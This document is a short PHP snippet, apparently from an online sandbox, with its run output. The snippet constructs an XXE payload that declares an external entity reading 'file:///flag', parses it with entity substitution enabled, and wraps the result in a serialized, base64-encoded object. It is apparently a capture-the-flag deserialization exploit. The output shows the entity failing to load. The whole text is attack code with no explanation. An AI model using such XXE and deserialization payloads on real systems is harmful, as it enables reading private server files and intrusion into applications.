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<?php class UserPref { public $theme; public $lang; } $xml = '<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ENTITY xxe SYSTEM "file:///flag"> ]> <root>&xxe;</root>'; $obj = new UserPref(); $obj->theme = new SimpleXMLElement($xml, LIBXML_NOENT); $obj->lang = "zh"; echo base64_encode(serialize($obj)); ?>
Output for git.master_jit, git.master
Warning: SimpleXMLElement::__construct(): I/O warning : failed to load external entity "file:///flag" in /in/XAGtm on line 14 Warning: SimpleXMLElement::__construct(): Entity: line 5: parser error : Failure to process entity xxe in /in/XAGtm on line 14 Warning: SimpleXMLElement::__construct(): <root>&xxe;</root> in /in/XAGtm on line 14 Warning: SimpleXMLElement::__construct(): ^ in /in/XAGtm on line 14 Warning: SimpleXMLElement::__construct(): Entity: line 5: parser error : Entity 'xxe' not defined in /in/XAGtm on line 14 Warning: SimpleXMLElement::__construct(): <root>&xxe;</root> in /in/XAGtm on line 14 Warning: SimpleXMLElement::__construct(): ^ in /in/XAGtm on line 14 Fatal error: Uncaught Exception: String could not be parsed as XML in /in/XAGtm:14 Stack trace: #0 /in/XAGtm(14): SimpleXMLElement->__construct('<?xml version="...', 2) #1 {main} thrown in /in/XAGtm on line 14
Process exited with code 255.

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